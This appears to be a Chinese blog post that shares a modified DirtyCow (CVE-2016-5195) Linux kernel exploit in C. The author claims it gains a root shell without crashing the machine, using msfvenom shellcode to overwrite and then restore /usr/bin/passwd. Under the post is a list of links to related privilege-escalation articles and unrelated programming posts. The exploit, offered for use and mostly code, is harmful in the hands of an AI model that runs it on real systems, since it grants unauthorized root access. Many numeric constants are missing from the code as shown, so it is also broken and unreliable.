dirtycow官网上几个获得rootshell的exp大都会导致机器死机,在原作者的基础上改进了一下,做个记录:

/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
* Popping root shell.
* Don't worry,/usr/bin/passwd has been restored.
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*
* @robinverton
*/ #include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h> void *map;
int f;
int stop = ;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3; char suid_binary[] = "/usr/bin/passwd"; /*
* $ msfvenom -p linux/x64/exec CMD="echo 0 > /proc/sys/vm/dirty_writeback_centisecs&&cp -f /tmp/bak /usr/bin/passwd&&/bin/bash" PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8c, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
0x5b, 0x00, 0x00, 0x00, 0x65, 0x63, 0x68, 0x6f, 0x20, 0x30, 0x20, 0x3e,
0x20, 0x2f, 0x70, 0x72, 0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73, 0x2f, 0x76,
0x6d, 0x2f, 0x64, 0x69, 0x72, 0x74, 0x79, 0x5f, 0x77, 0x72, 0x69, 0x74,
0x65, 0x62, 0x61, 0x63, 0x6b, 0x5f, 0x63, 0x65, 0x6e, 0x74, 0x69, 0x73,
0x65, 0x63, 0x73, 0x26, 0x26, 0x63, 0x70, 0x20, 0x2d, 0x66, 0x20, 0x2f,
0x74, 0x6d, 0x70, 0x2f, 0x62, 0x61, 0x6b, 0x20, 0x2f, 0x75, 0x73, 0x72,
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0x26,
0x26, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x56,
0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = ; void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=;
for(i=;i< && !stop;i++) {
c+=madvise(map,,MADV_DONTNEED);
}
printf("thread stopped\n");
} void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=;
for(i=;i< && !stop;i++) {
lseek(f,map,SEEK_SET);
c+=write(f, str, sc_len);
}
printf("thread stopped\n");
} void *waitForWrite(void *arg) {
char buf[sc_len]; for(;;) {
FILE *fp = fopen(suid_binary, "rb"); fread(buf, sc_len, , fp); if(memcmp(buf, sc, sc_len) == ) {
printf("%s overwritten\n", suid_binary);
break;
} fclose(fp);
sleep();
} stop = ; printf("Popping root shell.\n");
printf("Don't worry,/usr/bin/passwd has been restored.\n"); system(suid_binary);
} int main(int argc,char *argv[]) {
char *backup; printf("DirtyCow root privilege escalation\n");
printf("Backing up %s to /tmp/bak\n", suid_binary); asprintf(&backup, "cp %s /tmp/bak", suid_binary);
system(backup); f = open(suid_binary,O_RDONLY);
fstat(f,&st); printf("Size of binary: %d\n", st.st_size); char payload[st.st_size];
memset(payload, 0x90, st.st_size);
memcpy(payload, sc, sc_len+); map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,); printf("Racing, this may take a while..\n"); pthread_create(&pth1, NULL, &madviseThread, suid_binary);
pthread_create(&pth2, NULL, &procselfmemThread, payload);
pthread_create(&pth3, NULL, &waitForWrite, NULL); pthread_join(pth3, NULL); return ;
}

【原创】贴个dirtycow(脏牛漏洞)不死机的exploit的更多相关文章

  1. Linux提权—脏牛漏洞(CVE-2016-5195)

    目录 脏牛漏洞 exp1复现: exp2复现: 脏牛漏洞 脏牛漏洞,又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞.Linux ...

  2. Lampiao(dirtycow)脏牛漏洞复现

    nmap扫描内网80端口发现目标主机 nmap -sP   -p 80 192.168.31.0/24 扫描发现目标主机开放22端口.并且  1898端口开放http服务 御剑扫描目录并访问之后发现存 ...

  3. CVE-2017-1000405 利用脏牛漏洞Linux提权复现

    当前路径: /var/www 磁盘列表: / 系统信息: Linux zico 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 ...

  4. [提权] 脏牛漏洞 Dirty COW CVE-2016-5195 2.6.22 < 3.9 (x86/x64)

    /* * (un)comment correct payload first (x86 or x64)! * * $ gcc cowroot.c -o cowroot -pthread * $ ./c ...

  5. CVE-2016-5159 利用脏牛漏洞Linux提权复现

    当前路径: /var/www 磁盘列表: / 系统信息: Linux zico 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 ...

  6. 漏洞预警:Linux内核9年高龄的“脏牛”0day漏洞

    这个名叫Dirty COW,也就是脏牛的漏洞,存在Linux内核中已经有长达9年的时间,也就说2007年发布的Linux内核版本中就已经存在此漏洞.Linux kernel团队已经对此进行了修复. 漏 ...

  7. vulnhub-Lampiao脏牛提权

    准备工作 在vulnhub官网下载lampiao靶机Lampião: 1 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收 ...

  8. 9.CVE-2016-5195(脏牛)内核提权漏洞分析

    漏洞描述: 漏洞编号:CVE-2016-5195 漏洞名称:脏牛(Dirty COW) 漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权 影响范围:Linux内核>=2 ...

  9. 对vulnhub靶机lampiao的getshell到脏牛提权获取flag

    前言: vulnhub里面的一个靶场,涉及到drupal7 cms远程代码执行漏洞(CVE-2018-7600)和脏牛提权. 靶机下载地址:https://mega.nz/#!aG4AAaDB!CBL ...

随机推荐

  1. Java和PHP哪个方向更有前途?

      Java和PHP到底哪个方向更有前途呢?我从网络上收集了很多资料,并在这篇文章中做了总结.   1.TIOBE语言排行榜 Apr 2014 Apr 2013 Change Programming ...

  2. Learning the standard of C++11

    It's a very useful website of en.cppreference.com. It lists a huge number of information about the l ...

  3. TCP三次握手/四次挥手详解

    一. TCP/IP协议族 TCP/IP是一个协议族,通常分不同层次进行开发,每个层次负责不同的通信功能.包含以下四个层次: 1. 链路层,也称作数据链路层或者网络接口层,通常包括操作系统中的设备驱动程 ...

  4. MySQL 数据库通过日志恢复

    http://blog.csdn.net/hanxin1987216/article/details/5976856 要想从二进制日志恢复数据,你需要知道当前二进制日志文件的路径和文件名.一般可以从选 ...

  5. vs2013给项目统一配置boost库

    1.打开项目,然后点击菜单中的 视图->其他窗口->属性管理器 2. 打开属性管理器,点击项目前的箭头,展开项目,找到debug或者release下面的Microsoft.Cpp.Win3 ...

  6. 严重: Exception loading sessions from persistent storage Java.io.EOFException

    tomcat启动时报此异常,但web页均能正常运行:对程序影响不大. /*具体原因时tomcat--work--(你当前运行的工程名)--session.ser*/删除即可解决 分析: EOFExce ...

  7. CSS3文字渐变效果

    background-clip + text-fill-color下的实现 如果您手头上的浏览器是Chrome或是Safari,则您可以在demo页面中看到类似下面的效果: <h2 class= ...

  8. js变量问题

    this指向问题,谁调用它,它就指谁!!! 1.var foo = 1; function bar() { foo = 10; return; function foo() {} } bar(); a ...

  9. Anna-senpai帖子翻译与Mirai源代码使用

    Anna-senpai这个人太好玩了,整件事就像没有黄段子的无聊世界那样. 无聊翻译了一下,顺便实验了效果. --------------------------------------------- ...

  10. webpack构建vue项目(配置篇)

    最近公司要求用vue重构项目,还涉及到模块化开发,于是乎,我专门花了几天的时间研究了一下webpack这个目前来看比较热门的模块加载兼打包工具,发现上手并不是很容易,现将总结的一些有关配置的心得分享出 ...